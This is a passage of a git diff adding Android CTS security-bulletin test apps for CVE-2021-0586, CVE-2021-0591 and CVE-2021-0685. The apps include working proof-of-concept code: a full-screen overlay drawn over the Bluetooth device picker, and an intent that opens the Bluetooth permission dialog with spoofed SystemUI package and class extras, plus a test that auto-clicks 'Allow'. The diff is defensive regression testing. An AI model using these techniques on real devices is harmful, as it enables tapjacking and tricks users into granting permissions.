diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
new file mode 100644
index 0000000..9ec48ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.cve_2021_0586"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_0586"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <activity android:name=".PocActivity"
+            android:exported="true"
+            android:taskAffinity="android.security.cts.cve_2021_0586.PocActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0586" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
new file mode 100644
index 0000000..cab903e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
new file mode 100644
index 0000000..4d7ba2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:id="@+id/parent"
+    android:background="#FFFFFF"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
new file mode 100644
index 0000000..73c8e10
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.io.IOException;
+import java.util.regex.Pattern;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+    private static final String TEST_PKG_BT = "com.android.settings";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+    String activityDump = "";
+
+    public void startDevicePickerActivity() {
+        Context context = getApplicationContext();
+        Intent sharingIntent = new Intent(Intent.ACTION_SEND);
+        assertNotNull(sharingIntent);
+        sharingIntent.setType("image/*");
+        sharingIntent.setPackage("com.android.bluetooth");
+        Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586"
+                + "/drawable/cve_2021_0586.png");
+        assertNotNull(uri);
+        sharingIntent.putExtra(Intent.EXTRA_STREAM, uri);
+        Intent intent = Intent.createChooser(sharingIntent, "Share image");
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        /* Start the launcher activity */
+        context.startActivity(intent);
+        Pattern pattern = Pattern.compile(
+                getApplicationContext().getResources().getString(R.string.overlay_button),
+                Pattern.CASE_INSENSITIVE);
+        /* Wait for the overlay window */
+        if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Start the DevicePickerActivity */
+        startDevicePickerActivity();
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        BySelector selector = By.pkg(TEST_PKG_BT);
+        /* Wait for an object of DevicePickerActivity */
+        if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Check if the currently running activity is DevicePickerActivity */
+        try {
+            activityDump = mDevice.executeShellCommand("dumpsys activity");
+        } catch (IOException e) {
+            throw new RuntimeException("Could not execute dumpsys activity command");
+        }
+        Pattern activityPattern = Pattern.compile("mResumedActivity.*DevicePickerActivity.*\n");
+        if (!activityPattern.matcher(activityDump).find()) {
+            return;
+        }
+        String message = "Device is vulnerable to b/182584940 hence any app with "
+                + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
+        assertNotNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
new file mode 100644
index 0000000..11fd02c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+    private void startOverlayService() {
+        if (Settings.canDrawOverlays(this)) {
+            Intent intent = new Intent(PocActivity.this, PocService.class);
+            startService(intent);
+        } else {
+            try {
+                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+                startActivityForResult(intent, 1);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void stopOverlayService() {
+        Intent intent = new Intent(PocActivity.this, PocService.class);
+        stopService(intent);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        startOverlayService();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
new file mode 100644
index 0000000..6f0df6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        if (Settings.canDrawOverlays(this)) {
+            mButton = new Button(getApplicationContext());
+            mButton.setText(getResources().getString(R.string.overlay_button));
+            mWindowManager.addView(mButton, mLayoutParams);
+            new Handler().postDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    onDestroy();
+                }
+            }, 60000); // one minute
+            mButton.setTag(mButton.getVisibility());
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
index 7b410b7..4afdb32 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
@@ -15,8 +15,21 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0591",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
new file mode 100644
index 0000000..8e33f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0591"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0591"
+        android:supportsRtl="true">
+
+        <activity android:name=".PocActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+  <instrumentation
+    android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0591" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
new file mode 100644
index 0000000..0ca91d8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import java.util.List;
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final String BASIC_SAMPLE_PACKAGE =
+        "android.security.cts.CVE_2021_0591";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        try {
+            mDevice.wakeUp();
+            mDevice.pressMenu();
+            mDevice.pressHome();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Context context = getApplicationContext();
+        assertThat(context, notNullValue());
+        PackageManager packageManager = context.getPackageManager();
+        assertThat(packageManager, notNullValue());
+        final Intent intent = packageManager.getLaunchIntentForPackage(BASIC_SAMPLE_PACKAGE);
+        assertThat(intent, notNullValue());
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        mDevice.wait(Until.hasObject(By.pkg(BASIC_SAMPLE_PACKAGE).depth(0)), LAUNCH_TIMEOUT_MS);
+    }
+
+    @After
+    public void lastOperation() {
+        SystemClock.sleep(20000);
+    }
+
+    @Test
+    public void testClick() {
+        List<UiObject2> objects;
+        BySelector selector = By.clickable(true);
+        String button;
+        objects = mDevice.findObjects(selector);
+        for (UiObject2 o : objects) {
+            button = o.getText();
+            if (button == null) {
+                continue;
+            }
+            if (button.matches("ALLOW|YES|Allow|Yes")) {
+                o.click();
+                return;
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
new file mode 100644
index 0000000..e1a12f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.content.Intent;
+import android.os.Bundle;
+
+import static org.junit.Assert.assertNotNull;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Intent i = new Intent("android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST");
+        i.setClassName("com.android.settings",
+                "com.android.settings.bluetooth.BluetoothPermissionActivity");
+        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+        assertNotNull(bluetoothAdapter);
+        i.putExtra(BluetoothDevice.EXTRA_DEVICE,
+                bluetoothAdapter.getRemoteDevice("00:11:22:33:AA:BB"));
+        i.putExtra("android.bluetooth.device.extra.PACKAGE_NAME", "com.android.systemui");
+        i.putExtra("android.bluetooth.device.extra.CLASS_NAME",
+                "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver");
+        startActivity(i);
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
index 7b410b7..94c8275 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
@@ -15,8 +15,19 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0685",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
new file mode 100644
index 0000000..f508468
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.cve_2021_0685"
+    android:targetSandboxVersion="2"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0685"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".PocActivity"
+            android:taskAffinity="android.security.cts.cve_2021_0685.PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service android:exported="true" android:name=".PocAuthService">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0685" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
new file mode 100644
index 0000000..0c5065c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:orientation="vertical"
+    android:id="@+id/parent"
+    android:background="#FFFFFF"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
new file mode 100644
index 0000000..d9e0ab2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts.cve_2021_0685.account"
+    android:label="CVE-2021-0685" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
new file mode 100644
index 0000000..f5f29ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        try {
+            mDevice.wakeUp();
+            mDevice.pressMenu();
+            mDevice.pressHome();
+        } catch (Exception e) {
